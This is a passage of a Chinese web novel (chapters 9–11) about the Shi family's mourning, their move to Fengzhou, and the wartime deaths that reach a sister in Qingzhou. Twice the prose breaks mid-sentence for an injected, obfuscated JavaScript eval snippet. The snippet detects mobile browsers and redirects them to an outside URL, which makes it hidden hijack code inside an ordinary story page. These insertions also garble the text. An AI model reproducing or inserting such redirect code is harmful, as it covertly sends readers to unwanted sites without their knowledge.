端木萌扯唇笑笑:“总不至于......虽是天家,我十几年伴他膝下,父女亲情,总不至于——一文不值。” 唐烨已然平复了呼吸,又恢复了她端直站着的身姿,她目光柔和,像是庇护雏鸟的大鸟,温暖又密实的翅膀笼罩着后辈。她看着端木萌道:“且去吧。” 萧晨便也吩咐着:“叫成伯替你备马车。尧儿,行湘,照顾好你们主子。” 目送着端木萌出去,唐烨眸光里渐渐暗了下去,随即叹了口气,又转向仍没有缓过劲来的女儿,走到她面前缓缓拍了拍她的手:“今晚陪娘一起睡,嗯?” 师冉月冰凉的手反握住母亲戴着苍碧色老玉镯子的手腕,轻轻点了点头。 9. 第 9 章 月光如洗。 师霖跪在东宫正殿前的石阶下,感到彻骨的冰凉。 和缨缓缓从偏殿走到他身侧,示意身边的宫女为他端来一盏热茶。师霖摇了摇头:“谢娘娘好意。”和缨叹道:“三公子,殿下并非是不肯见你,他也在陛下面前周旋,不好脱身。” 师霖低头不语。和缨又劝道:“你已经在这里跪了三个时辰了,再过一会儿晨间扫洒的宫人便要起身,叫人看见更不好处理。”见师霖没有回应,又道:“云和公主也进宫了,现在正在皇后娘娘那里。听人说公主似乎与陛下起了争执,动了胎气。”师霖晃了晃神,却仍然没有反应。和缨耐心等待着。 半晌,师霖低首,朝和缨行了个礼:“拜托娘娘与皇后娘娘照顾好公主。” 和缨叹了口气,答应了一声,便转身回了殿内。 大殿昏暗得很,宫人也都远远候在廊下,不曾靠近屏风后一盏烛光笼罩着的两个人。 和缨跪立在端木昀身后,替他缓缓揉着太阳穴,慢慢道:“三公子与您一同长大,您知道他。如果没有个准信告诉他,他恐怕是不肯走的。” 端木昀满脸疲惫。半晌缓缓睁眼,眼中尽是通红的血丝,如同密织的蛛网布满眼球,简直骇人。他道:“我如何给他准信,把太傅的尸首交给他吗?” 和缨皱眉,拉过端木昀的手:“尸首总是要还给师家的。若您不替他们争,恐怕太傅的尸首如今已在乱葬岗了。师家人会明白的。您已经尽力了。” 端木昀慢慢沉下肩,直到完全靠在和缨怀里,似乎在寻找某种庇护。和缨心疼地用手缓缓抚摸着端木昀的脊背,轻轻替他按摩着肩膀。良久,他才用沙哑的嗓音讲道:“我也并非完全只是替师家争。太傅与我,是多年的师徒,纵然没有我与师家的情分,我也是要争一争的。” 和缨不语,只轻轻抚着端木昀的头。再开口时嗓音干涩,却很坚定,道:“陛下不会喜欢您有这些情分。” 师冉月睡在里侧,长久不能安眠,终于还是悄悄翻身朝向母亲。 唐烨年已半百,鬓边的白发早已不再遮掩,反倒填了几分岁月沉淀下的从容。小辈们见了也只有增添对慈善宽厚的长者的仰慕和敬意。然而终究是年岁使然,再好的保养也不能阻止皱纹漫生在眼角和眉心。 母亲似乎睡得很平稳。师冉月在心里慢慢吐气,也缓缓合上眼睛。久违的母亲的气息似乎唤醒了她幼时的记忆,安全感与回忆的生涩交织在她心底。 许久许久,伴着弥漫在空气中的沉水香,纤细的呼吸声逐渐平稳。 唐烨缓缓睁开眼睛,坐起身,看了看带着心事睡着的女儿,感到些许慰藉。然而脑海中不好的预警却如同送丧的钟一声声敲打在她的太阳穴上。她看向窗外,灰蒙蒙看不清什么。祠堂的灯坏了未曾换,因此今日留容轩的窗外也更加灰暗些。灰暗映照在唐烨深灰的眸子中,泛起长久的涟漪,似乎是已经垂老的树少见的,春雾般的湿气。 晨钟响了。 太阳还未升起。在百官出门上朝前,师穆和师骁赶回家时,两乘马车一前一后从夜雾中自皇城方向归来。马车停在府门前,众目睽睽下,师霖先从后面的马车中搀出疲惫的端木萌,萧晨和师冉月忙上前接过她。而后,他缓缓走到唐烨面前,跪下,磕头。 “我把父亲接回来了,母亲。” 要回逢州,师冉月才发现自己在京中的东西其实少的可怜。 师霖嘱咐她逢州宅里什么都有,不必大张旗鼓收拾。何况时间紧急,仅仅是草草把师道旷葬在赵霞云墓侧后半个月便要启程。 于是音儿收拾出来一个衣箱,装上师冉月喜欢的紧的衣裳,又另拿了一个小箱子,将师冉月从小攒的私房的金锭和银子以及一些贵重的宝石首饰整理了出来。师冉月则理了理她的小妆匣,将那些信也塞回去,又添了些七零八碎的小东西。她这些物件,放到她与萧晨共乘的马车上也不过只占了一小点地方,瞧上去少得可怜。萧晨微微笑道:“日用的东西逢州宅子里都备好了,衣料首饰什么的也都可以再买。逢州也繁华的很,缺不了什么。咱们轻车就简。我也不过是因为带着焕儿路上用的东西,才稍多一些。” 师冉月笑笑,没有回话。师家大头的东西从来不用他们考虑着随身携带,自然看上去行李很少。 前些日子师穆上了折子,说家父师道旷得了急病暴亡,宫里随即下了折子安抚,并未剥夺阳曲侯的爵位,却也没明示师晟袭爵。还顺便撤了师穆、师霖和师骁的职“方便他们尽孝”,却没有撤师晟的职,因此师晟也不好私自离任。 “我还未写信告知姐姐父亲的事,不过她大概也该听说了。” 萧晨没有很在意。她头上一只银簪上的暗红色宝石跟着马车颠簸闪着微弱的光。“新宁公主会告诉她的。” 师冉月别过头去看着窗外。马上就是立秋了,然而天气仍然炎热得很。马车外也没有什么风,满目的绿色似乎也凝固住了,只在马车轮带起的尘土飞扬过时才堪堪证明了一点小小的流动。 卿州应该更热吧。她想着。 前面一辆马车坐的是唐烨和岳诗韫,崔姨娘在师道旷下葬后就自请离开了师家。对比起后面的马车不时有小孩子的哭闹或是主仆等人压低了声音的交谈,挂着黑帷巾的马车显得格外沉寂。 师冉月望着前面马车车檐上晃悠着的长长的黑色穗子,忍不住又叹了一口气。萧晨把茶碗放在小几上,道:“怎么回事,这半日不到,你都叹了几口气了。”她将师冉月的手拉过来轻轻拍了拍:“若是为了父亲,想必他也不愿见到儿女太过悲伤消沉。六妹妹,你可是师家的女儿,莫要忘了家训。” 师冉月有些恍惚。窗外透来的绿色混着阳光模糊了视线。恍惚间她忆起师道旷来。似乎自她有记忆以来,师道旷就是很干瘦的模样,背脊有些躬着,似乎随时要拿着笏板鞠躬行礼汇报事情。然而偶尔在骑射场观看儿子练习射箭,也会接过弓来,眼睛里闪出一瞬间鹰隼一般的锐利,嘴角勾着嘲弄的弧度,看着箭矢穿透靶心。只有这时,才能叫年轻的儿女们想象出母亲口中那个少年时比三子师霖还放浪形骸的少年公子来...... 忽而,她轻笑了一声,笑声很快也淹没在浓绿中,淹没在马儿颈上挂的铃铛稀碎的声音中。不过几个月的光景,闯进来这么多事这么些人,简直叫她快忘了父亲的死。更好似她从祖母去世开始就有些迷糊了。仿佛只要她不去细想,从此之后再也不会见到父亲和祖母,除了对着墓碑和牌位,不会再有叫出“爹爹”和“祖母”的机会,离开的人就仍然在那里,只是她今日贪玩了,或者谁今日太忙了,没有顾上碰面而已。没有关系,明天再见就好了。 她于是也给自己倒了一盏茶,慢慢喝下去,道:“放心吧,大嫂。” 师家在逢州的宅子虽然是座老宅,然而有专人看管经营,年年维修,又在他们回来前彻底打扫了一遍,因此只觉古朴。 逢州地处江南,一向是文人骚客向往之地。又有南北两湖,一大一小,被誉为南国明珠。北湖较大,叫做鉴湖,周遭有大片自然丛生的柳林,每逢春日便是柳絮飞扬、柳叶轻柔,绿意从隐隐绰绰的早春雾气中一点一点酿生出来,直到盛夏就完全是一大片宽阔的浓绿的涟漪,捧得湖中莲花星星点点,摇曳生姿,也造就一片清凉自在。南湖稍小,却靠近逢州主城,湖上有一处八角亭,连着一座九曲回廊;岸边有石碑,不远处有酒家,自亭柱、石碑与酒家的墙壁上,尽是文人题诗。其中最出名的便是前朝的风流才子在此作的诗文。后人仰之慕之,便取当中一字,命名为“芥湖”。师家这座老宅便在这芥湖边上,远近闻名的酒家和茶馆的聚集地绿炉坊后的碧痕巷。 宅有四进,还连着几个后来扩出去的小院落。唐烨自从坐上回逢州的马车后就甚少露面,身体也似乎一下子垮了似的,虽然外表上看不出什么,然而周身尽是疲惫。回了逢州她也只教众人安排好行李,主持了从京城带回来的一众仆从的安排,便把管家之事全权交由萧晨。一进自然还是外院,二进的主屋便也给了萧晨,唐烨自己选了个西边的小院落,岳诗韫也看上那处清幽,便与唐烨同住。 三进是师穆与端木婉住,四进便是师霖与端木萌住。师骁尚未成家,只在外院。 师冉月则选了母亲院落旁的一处小院,据说是旧年师家一位寡居的姑奶奶回家居住时开辟布置的,院落不大,却十分雅致,半个小院都是花池。原先无人仔细照顾,只是保证了不生杂草,如今师冉月除了照料母亲和帮衬嫂子,满是闲心,便也经营起花花草草来,将原先七零八落生长的蔷薇移到一边密植,又种了些海棠在挪出来的空地。另外又找人从逢州的庄子里挪了棵栀子在院里,虽不是开花的季节,却也生机勃勃。 便是在这座宅子里,师霖与端木萌的长子、师家二子师迟,还有师穆与端木婉的次女、师家三姑娘师莞安出生了。 “可巧!昨日三姐儿才出生,今日姐姐的信便到了,说是也生产了,算起来这两个孩子不过就差了几天的生日呢。”师冉月兴高采烈地给众人读着师吟月的信,脸上是许久不见的光彩照人。 连着几个孩子出生,师家上下也似乎扫清了些阴霾,真正地活泛起来。萧晨笑道:“我已经叫人去沉州告诉你大哥了。五妹妹一个人在卿州,可惜我们也抽不出来身。不如四弟与六妹妹便去一趟卿州吧,算日子恰好赶年前回来过年。” 唐烨轻咳了两声,拿帕子掩了掩嘴,看向沉默着的岳诗韫。师冉月随着母亲的目光看过去,却只见岳诗韫仍是那般不平不淡的样子,纵然是这些日子为了让唐烨多活动活动而陪着她与小辈们聚在一起,也依旧一切旁观,丝毫不见参与到其中的时候,纵然如今说的是吟月的事。 唐烨却了然,微微笑道:“那么,小六,你便与你四哥一同去卿州罢。别忘了对新宁公主的礼数。” 师冉月笑应:“自然自然。” 萧晨便吩咐下去准备行李车马。又道:“过会儿景通判的夫人要来家里。母亲,您要见一见她吗?” 唐烨摇头:“那是你们间的事了。我已老了。我若去了,你们倒不自在。” 音儿早在回老宅的当日晚上就已经把师冉月的东西都指挥着小丫鬟们归整妥当了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226124|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却抱着妆匣无法下手,直到晚间将小丫鬟们都赶去安置了,房里就剩下她和师冉月,才从被子下抱出妆匣,取出那些信道:“姑娘,这边有原来就是在老宅里侍奉的人,我们也不大熟,这些信还是再妥当些收着吧?” 师冉月接过信,指尖轻轻拨了拨信纸,划过那些泛黄或深或浅的毛边,沉默良久,道:“他一定也会知道我们家的事。不过他大概是不能把信送到逢州来。就算能送来,我也不晓得该到哪里找谁取。想来这也就算断了联系吧。也好,他本就不该是我一直联系的人。” 音儿心疼皱眉:“姑娘别这么想,这信又不是你开始要坚持写的,是那位公子后来先联络了咱们,定了取信的时间地点。退一万步说,就算不该,也不是你一个人的事。” 师冉月也摆出一副岳诗韫的表情:“但愿吧。以后的事,谁说得准呢。” 师骁与师冉月去往卿州正是冬月末的光景,一路从江南到岭南,虽说树还都绿着,却仍是北风吹面寒,更兼湿气重,一路湿寒,不适得很。师冉月自小在京城长大,中原的冬天较为干燥,说来这本就是她在湿寒之地的第一个冬季,加上为了能赶回逢州过年,一路快马加鞭,舟车劳顿,竟有些水土不服了。 音儿给她拿汤婆子暖着胃,师骁将药用滚水隔着碗温了,叫她喝下,笑道:“你还是身子太弱。我也是第一次离开京城,就没有什么事。” 师冉月恼道:“你是习武的人,要是弱不禁风还了得?”又抓紧了汤婆子叹气:“不过我也是后悔近些年总待在屋里不爱活动,又总爱乱吃东西。闹出病来也是叫人好受的。” 师骁哼道:“那你也是一样的不长记性。等这次病过了,你又为所欲为上了。” 二人心情到底是轻松的,时不时的嬉笑打闹倒减少了途中的疲惫。 一路到了卿州屏南侯府,自然先去见了屏南侯夫人新宁公主端木菡。端木菡穿了一身莲青色的衣裳,杏脸有些消瘦。她与官和言是姑舅表姐妹,幼时一直长得很像,然而这些年过去,官和言随父兄在外潇洒自在,越发英气活泼,端木菡却越发憔悴枯槁,简直不像是甫才二十三岁的人。 端木菡也不愿与他们多闲话,简单客套了两句,便叫人带他们去了师吟月住的院落。吟月的侍女织云早在院门口等着,远远见人来了,便小跑着上前迎接,笑着行礼,又叫身后的小丫头给带他们来的婆子赏钱,余下的侍从便纷纷去搬运行李。织云道:“我们姑、我们夫人听说四公子和二姑娘要来,便日日夜夜盼着,今儿可算是盼到了。” 师冉月笑道:“我在家也常想姐姐。仔细算来已经过去快两年了。” 一行人进了院子,织云才又道:“夫人生产后身子一直不太好,如今虽出了月子,却也受不了风,这才在屋里等着。公子和姑娘且先坐下喝盏茶,我这便去叫夫人。” 二人便在堂屋里坐下。仆从很快上了茶来,师骁尝了一口,道:“还是她喜欢的花茶。也就你们女孩子爱喝了。” 师冉月却想念这茶的味道。师吟月的茶一向是她自己配的,比起师冉月自己院中常喝的蜜茶多了几分特别的味道,却一直叫人尝不出来。从前在家时,她也曾缠着师吟月问她要配方,她却一直不肯。 正喝着茶,织雨便搀着师吟月走了出来,织云在后面捧着暖炉,只待师吟月一坐下便要放到她怀里。吟月却先拉住冉月的手,眼中似是有水光,却只是笑着不说话。师冉月却一惊,攥紧了吟月的手道:“手怎么这么凉?”织云忙提前将手炉递过来。 师吟月却笑道:“不关旁的事,你瞧这屋子里地龙都烧得烫人,实在是我如今身子虚寒。” 师骁皱眉:“郎中到底怎么说的,人可靠吗?不如我写信回去叫大嫂将逢州的江郎中请来给你看看。” 师吟月摆摆手,“给我瞧的郎中原先是新宁公主从宫里带来的御医,怎么会不靠谱。” 师骁却道:“偏是御医不可信。小来小去的毛病也就罢了。只是他们总怕用药猛了出别的岔子,得罪了宫里的人,因此总是减少分量。” 师冉月闻言,也道:“若是这样不如还是另寻几个郎中瞧一瞧。” “大概也不会有太大偏差。”师吟月不以为意,又叫奶娘将孩子抱来认舅舅和姨母。孩子看上去有些瘦弱,也不太哭闹,不过师吟月和李泊都是偏瘦的人,性子又都安静,大抵也是肖似父母。 “这孩子眉眼也清秀,像姐姐。” “男孩子,我倒希望他像他大伯些,能习武才好。” “便不能像舅舅吗?我和二哥可不比那李既差。” “是呀,大哥和三哥的骑射也好,这孩子想必不会差的,不是有句俗语说‘外甥肖舅’嘛。说起来,这孩子取名字了吗?” 吟月叹道:“还没有。我想着等他父亲回来再取也好。安宁和安楠的名字都是李既亲自取的,我前些天和新宁公主说起来,她也叫我等孩子父亲回来。” 几人又闲话了会儿家常,总不过是新出生的几个孩子还有逢州的近况。直到端木菡着人来请去用午膳,才各去换了身衣服,一起到侯府正院去了。 10. 第 10 章 在卿州的日子也是飞快。 师冉月白日里便陪着师吟月四处转悠或者闲话,甚至一开始她晚上都想与师吟月一起睡,然而师吟月却说孩子夜里总是哭闹,将她赶回了自己的住处。日子长了,师吟月白日里也有些倦怠,招架不住妹妹精力充沛,便也将她赶出去同师骁一起与卿州或是周边的世交子弟应酬。 “快进屋里来,瞧瞧你,脸都冻红了。”师吟月站在门口亲自帮忙将师冉月的披风解下来递给音儿,师冉月推着她往里走,带进来些微的寒气:“你不能吹风,怎么大晚上的在门口站着。”织云接过音儿手中的灯笼递给小丫鬟去挂到檐下,笑道: “夫人自然是担心姑娘啊。” “我不是叫人递了话今日晚饭不回来了?” “我晓得,不过你们今日去见的那王家,参与了漕帮的生意,都是五大三粗的人。他家还有个公子前些天和太守的小妾纠缠不清,差点闹出人命。四哥也真是的,什么人家都带你去。他也就罢了,你个还未议亲的小姑娘——倒也是胆大!”师吟月将手在炉火上烤热了,捂在师冉月脸上,又道:“四哥呢,他可回来了?” “回来了,不过有些醉了,应该已经回房中歇下了。”师冉月也把手放在炉火上烤,又暧昧笑道:“不过今日四哥遇见了王家的亲家张家的一个姑娘,似乎有点意思。” 吟月也来了兴致,拿来织雨剥好的一碗栗子递给冉月,又自己取了一个用细竹子编成的小篮子,另拿了一小堆未剥开的栗子,自己放在手里慢慢剥着,听师冉月讲:“张家的那个姑娘,好似舅家便是漕帮的,父亲也是个小校尉,不过却养出个温温柔柔的女儿——比你感觉还要温柔些,人长得也挺好看,圆脸盘,眼睛很好看,不过跟我们互相行了个礼,四哥直接就愣住了,还是我拽了他一下子他才想起来给那姑娘和她兄弟回礼。不过他们好似也是来走亲戚的,后来在席间就也没有碰上,不过四哥已经开始同王家的几个公子打探张家的情况了。” “漕帮,倒是个好选择。”吟月默默道。冉月喂到她嘴边一个栗子,道:“你莫要老盯着这些,这些哥哥嫂子们自然就看了。四哥要是真娶了张家这姑娘,她可就是你亲嫂子了,又有亲戚在卿州,以后你们也少不了来往呢。” 师吟月又听她碎嘴捋着这些家的人物关系,终于还是拿织云刚拿来的红豆粥堵住她的嘴,笑骂:“真是,就你自小就喜欢研究这些关系,当初我被母亲逼着记还烦得要死,你倒是津津有味。这嘴啊,简直比你外甥夜里闹人的时候还吵。” 师冉月吃了两口红豆粥,又道:“这红豆粥还得是吃京里头崔记那家的。不过我尝你这栗子挺好的,可以试试做栗子粥。”说着,又开始催织云织雨琢磨着做了,两个侍女笑着讨饶,连屋里碳炉的火星子似乎都蹦得欢快了些。 正闹着要织云去亲自下厨了,端木菡身边的侍女却突然闯进来,直直跪在师吟月身前,道:“二夫人,侯爷和二老爷走了,夫人请您——” “你说什么?”师冉月直愣愣问。师吟月已然是愣怔着不发一言,却是织云先反应过来拉住那侍女的手:“红亭姐姐,这是哪里来的消息?” 红亭喉咙里带着哭腔,道:“是今上身边的近卫副统领齐疏大人亲自带着慰问的诏书和侯爷与二老爷的遗物来的。齐疏大人说战场被一把火烧了,所以,所以没有尸首......” 师冉月猛地惊醒,忙扶住师吟月。师吟月慢慢低下头,脸上的血色迅速退去,突然爆发惊人的力气,挣开了妹妹的手向外跑去。师冉月等人连忙追上,好容易才趁着师吟月卸力追上她,给她裹上厚披风。吟月低着头,慢慢弯下腰,整个身体隐没在黑暗里,与藏青色的披风一同划向漫无边际的黑夜。良久,她似是从鼻腔里喘出一口气来,随之响起连续不断的微弱抽泣声,混在夜风催动的树叶声里。 师冉月揪着心,却只敢叫她自己先发泄情绪,只轻轻来回抚摸着她瘦的能一根一根数清骨头的脊背。 织云、织雨还有音儿都默默立在二人身后,直到师吟月的身体像小山崩塌一样骤然滑落在地,师冉月已经黏腻的嗓子里爆发出一声不成调的可怖惊呼。 师骁将师吟月抱到端木菡屋中暖房的榻上,紧跟着郎中便进了来。郎中诊了脉,又探了探师吟月的额头,转身行礼道:“二夫人是骤然惊惧伤心过度,以致发热昏迷,原本只要醒过来就好了,然而二夫人体内有生子后一直未散的寒气,和这肺里的热气冲撞到一起,恐怕这病就难好了。” 师骁和师冉月都正要说什么,端木菡却先出声道:“多谢您,请您开药罢。”而后便叫人请郎中下去休息。师冉月道:“我姐姐尚未醒,不如还是请郎中守着——” “二姑娘,这里不是京城。郎中已经有了结论,倒不如先叫他开药来。”端木菡仍然是古水无波的神情,眼睑微微垂着,叫人看不清情绪。她又看了一眼昏睡的师吟月,便转身向外走,却是七岁的端木菡的长女李安宁抓住师冉月的手小声道:“师姨母莫要急,婶婶会醒来的。我娘只是太伤心了。”说罢便领着小一岁的弟弟李安楠追着母亲跑走了。 师冉月骤然蹲下身,把头埋在臂弯里,忍不住啜泣出声。师骁也蹲下身来轻轻摸了摸她的头,轻声道:“好了,莫要慌。你这个样子,等会儿吟儿醒了更难过了。”看她慢慢缓过气来,又将她拉到暖房外,肃然道:“你可晓得这次牺牲的消息一同传回来的不只有李既和李泊,还有岳炳。” 师冉月惊道:“定陶公主的驸马?” 师骁点头:“他是谁的驸马已经不重要了,李既还是今上‘最爱的’平卿贵妃的女儿的驸马,不也是一样的结局。不过屏南侯李氏在卿州,实际上动不了太多朝廷上的格局,然而如今这把刀已经插到岳氏了。” 师冉月自嘲般笑笑:“不是早就已经插到咱们家了么。”她看着烛台上即将滴落的蜡油,混着金箔的蜡勾引着缥缈的光,一点一点冷却,滑向废弃的蜡底。“不知底细的人现在看我们家大概就是再看空中楼阁罢,看似还没有分崩离析,但也岌岌可危。就像外面那两副带血的盔甲。尸首找不到了,盔甲又从何而来呢?” 师骁抿了抿有些干裂的唇,慢慢道:“新宁公主还在这里。” “她若是还心存侥幸,就不会选择嫁到卿州了。哪怕是平卿贵妃,也抵不过她姓‘官’。何况帝王的宠爱和他的权力相比本就脆弱的不值一提。”说及此,她又看向师骁:“说来你们兄弟几人在外表现得那么无所谓,难道不怕那人起疑?” 师骁道:“你还是不够了解咱们这位圣上。他好权,却也自大,他比所有人都在乎他那至高无上的地位,所以也更喜欢别人对他臣服。所以我们要让他觉得师家任他摆弄,而又不敢对他的旨意有任何不满。让他满意,我们才好更多的顾全我们自己。” 师冉月默默看着他,也想起其余三个哥哥,突然想到这局面走到这一步的原因,原是师家人并未真正想要夺权谋反,才能让坐在上头那位愉快的把玩他那块石头,唱着自娱自乐的独角戏。 只是师家人不想做的事,不一定旁人也不会做。 她放松般叹了口气,又道:“家里那边大概也已经收到消息了。我一会儿去给大嫂写封信,不如我们就在卿州陪着姐姐一同过年吧。” 师吟月转醒时,已是次日中午。 前一日晚间,将郎中开的药熬好了便已是夜半,师冉月亲自一点点用小勺将药给师吟月灌进去后,因着还要写信,便也先回了师吟月的院子去。而此处到底是端木菡的院落,师骁也不好久留,更何况他也要写信给师晟,便也先走了,留着织云织雨守夜。 次日一早,师冉月便又匆匆赶来,脸上趴在案上压出的印子都还未消,惹得音儿拿了浸了热水的细棉帕子追在她身后给她净脸。还是端木菡看不下去,硬拉着她到自己房中用了早膳。 师冉月前夜睡得不好,喝完一碗银耳百合粥,勉强让胃里暖和过来,才觉得恢复了些精神。李安宁和李安楠也一同吃着早饭,两个小孩子大概是夜里哭过,眼睛都很红肿,如今却都安静地自己吃着饭,只时不时悄悄抬头看一看母亲。 端木菡吃饭速度很快,也不需要别人伺候,只是用帕子擦了擦嘴,身后的下人便立刻上前撤走了她面前的餐具。 师冉月余光看见,忙也利索地将自己剩下的半个红豆饼塞进嘴里,也用帕子净了口。她看向端木菡,却不知道该说些什么好。只因她看起来并不怎么悲伤,连一丝泪痕或是一点眼睛里的红血丝都看不到。可到底席间太过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226125|197566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安静,两个小孩子仍在自顾自认真吃着饭,如同不谙世事的野兽幼崽被母亲舔干净了粘上血的毛发,藏在温暖的肚皮下安静地享用食物。她于是轻声问道:“公主过些日子会回京城吗?” 端木菡淡淡道:“不会。尝下这茶吧,提神养生。” 师冉月接过下人端上来的茶,喝了两口,只觉得有些淡淡的药的涩味,不完全是茶的味道。 端木菡又接着道:“我会一直住在屏南侯府,等安楠成为下一任屏南侯,等他们两个都成家立业。容琇若是想留在这里也罢,带着孩子回逢州也好。” “您若是回京,来日成了长公主,安楠可能可以受封郡公,在京建府。” “回京?”端木菡嗤笑一声,“长公主或是什么郡公,难道有什么值得当的吗?我和你姐姐费尽心思离开京城,你竟不明白吗?何况纵然我们远嫁岭南,他都没有放过。留在卿州,我们孤儿寡母,他还不至于赶尽杀绝,回京,那就是我亲手将自己和孩子变成皮影戏,将牵引的丝线交到他手中罢了。” 她冷眼看着似乎不大以为然的师冉月,又道:“你们师家是有些资本,可师太傅不还是死了。你说是必然的牺牲也好,未料到的差错也罢,我如今只剩这两个孩子,一点意外都不容发生。” 话音落下,屋子里又恢复最初的沉寂。檀香袅袅地飘着,散漫地上升、盘旋,仿若无人的庙宇。直到侯府管事踏进来说灵堂已经设好,端木菡应声离开,两个孩子也跟着小步跑了出去,师冉月才像血液忽然回流般慢慢站了起身。 音儿犹豫着上前,轻轻拍了拍师冉月的手,道:“姑娘,不如去看看大姑奶奶怎么样了。” 师冉月僵硬地笑了笑,像抓着救命稻草般抓住音儿的手,又忽地松开,嘴里嗫嚅着什么似的,转而又恢复了正常的神态,去了师吟月休息的暖房。 很快是除夕。 李家并没有什么旁的亲戚了。李既和李泊幼年丧父,前些年母亲又去世,兄弟二人相依为命又各自成家,再到如今双双丧生,灵堂都寂静的很。除了端木菡和师吟月,便是安宁和安楠,还有还被抱在奶娘怀里的由端木菡起名的安允。卿州世族中想来祭拜的,全被端木菡以李既不存在的遗嘱委婉拒绝。整个丧礼就简非常,从遗物送回来不过七日,伴着南国罕见的一点点飘雪,卿州城外的李家祖坟就新添了两个衣冠冢。 除夕自然也没什么好热闹的。倒是师冉月陪着两个小孩子放了两支小烟花。一行人又一同吃了饺子,年便算过完了。 十几天前师骁就寄信回逢州说明了情况,答应陪师吟月过完年再回去,却直到如今都还未收到回信。 “咱们家自己的人送信,不该回信还没有送到。” “想是本来年关就忙,今年又是头一年回逢州,少不了人情来往,必然是忙上加忙,这才没抽出空来罢。” “不该。”师骁沉着脸,“我给大哥也写了信,哪怕再没有时间,大哥都会回个‘已知晓’之类的,断不会这么久没有消息。我今日便再写封信回去。” 三人吃着午饭,时不时闲聊一二句,不太热闹,却也没太寂寞,到底也是个生活着的样子。纵然师吟月这些日子的脸色比起他们刚来时还要苍白几分,简直像是为缺雪的卿州下的一场雪,恒久失温。 “等过完年,你便同我们回逢州罢。”师骁突然对师吟月道。 师吟月却只自顾自夹了口菜,放在嘴里反复咀嚼,没有回话。 师冉月无奈叹气:“说实在的,姐姐,又不是回京城。何况新宁公主也不需要你帮她什么,你如今这身子也帮不了她。倒不如回去我们一家人在一块。安允是姓李,可也是我们师家的外孙,有我们这些舅舅姑姑,怎么也比呆在这你们二人守着三个孩子强。” 师吟月却苦笑了一下,“我都知道。只是这些日子,我总想起来李既。屏南侯府到底还有些他生活过的样子,就好像我离他没有那么远,没有一错过就是一辈子。” 师冉月讶然她突然的坦诚,尽管当日她说要嫁给李泊,她就隐隐有了猜测。突然的打击与身体的衰弱好像也剥去了从前那个师家大姑娘殚精竭虑筑起来的坚固外壳,剥落出来了少女留存的青涩与脆弱。 “我不想再为谁做什么了。” 11. 第 11 章 正月初七。 师冉月白日里仍窝在吟月房里,做些女工或者与织云研究些新鲜的糕点吃食。卿州这些日子湿冷湿冷的,在外头待着并不好受,倒是屋子里炭火烧足后舒适宜人。 正无聊着,师骁身边的侍女甘采掀开帘子进来,行了一礼便递上一张信纸,看起来已经是被打开过的样子了。 “这是什么,四哥怎么没亲自过来?” 甘采低着头像是在隐藏些什么,低声道:“是逢州来的回信,公子看过了,叫姑奶奶和二姑娘亲自看。” 师冉月迟疑着打开信纸,却在看见信首前几个字时骤然浑身一僵:“母亲病逝,速归。”她只觉卿州屋外湿冷的空气霎时间如鬼手般将她浑身拖拽住,似是浓雾笼罩的森冷竹林,或是阴云覆压着的海面上升不起来的太阳。她好像有些发颤——是错觉吗—— 师吟月眼见师冉月骤然冷硬的样子,不觉打了个寒颤,上前拿过信纸来,浑身战栗着反复读了好几遍,张了张嘴,嗓音干涩而奇怪:“真是......逢州寄来的?” 甘采仍低着头:“是大公子的亲笔书信。送信的人说,唐夫人是四天前走的。唐夫人的身子离开京城后一直不太好,二姑娘也是知道的,只是前些日子听了京里传来的消息又受了打击,便卧床不起。那时二公子本想写信叫四公子和二姑娘回去,但先收到了二姑娘寄回去的信,说姑奶奶很不好,便先瞒着这边没说,谁想到......” 师吟月闻言已是瞳孔有些上翻,织云和织雨反应过来,忙扶住她顺气喂药。师冉月只是仍保持着信纸被抽走的姿势,僵直着一动不动,眼泪却已汩汩落下。音儿被她吓坏,忙扶着她来回拍着她的背和脸,过了好一会儿她才一下子吸了一口气,身子如被扔进沸水里的虾般骤然拱起又伸直,却仍是张着嘴流泪,喉咙里却只能发出抽丝般的喘气声。音儿也骤然急出泪来,哭喊着叫人帮忙。甘采忙又回去叫师骁来。屋外的人听着声音都涌进来,却又插不上手,一时间乱作一团。 还是端木菡最先跑了进来,见二人的情况,先叫织云织雨把师吟月扶到榻上躺平,又亲自抱着师冉月来回用力抚着背顺气,大声在她耳边叫她呼吸。 师骁赶过来时,师冉月的呼吸已算正常,只是呆坐在椅子上流泪。师吟月睡了过去。织云织雨还有音儿都守着各自的主子默默垂泪。师骁也是红着眼眶,嗓音沙哑向端木菡鞠躬道谢。端木菡方才也弄清了原因,此情此景,也忍不住轻叹了口气,摆了摆手,“回逢州前有什么要帮忙的便叫人告诉我罢。” 师骁再次行礼。端木菡便也离开了。于是师骁轻咳了两声,瞧上去冷静了几分,迅速走到屋外安排师家的仆从上下收拾行李准备回逢州。 回去的路上师骁已收拾好情绪,一路骑着马跟在两个妹妹的马车旁。安允由奶娘抱着,另坐一辆马车。 师冉月似乎在卿州那一日一夜已经哭干了眼泪,一路上大多只是木着眼睛沉默着。音儿每日拿了滚水烫鸡蛋敷着她的眼睛,却好像一直没有什么效果。 师吟月一直没有什么精神,常常昏睡着,醒来又被马车颠簸的恶心,吃不下什么东西。再加上挂记着孩子,可把孩子抱到怀里又没什么力气,若是恰好孩子哭了,又被闹得头疼。 